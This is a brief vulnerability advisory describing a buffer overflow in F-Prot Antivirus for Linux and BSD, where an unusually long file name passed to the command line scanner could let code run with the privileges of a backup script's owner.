Frisk's F-Prot Antivirus for Linux and BSD is prone to a buffer overflow in file name parameters that are passed to the command line scanner. If a backup script is launched by a privileged user to scan the filesystem scans a file with an unusually long name, arbitrary code could potentially execute on the system in the security context of the script's owner.
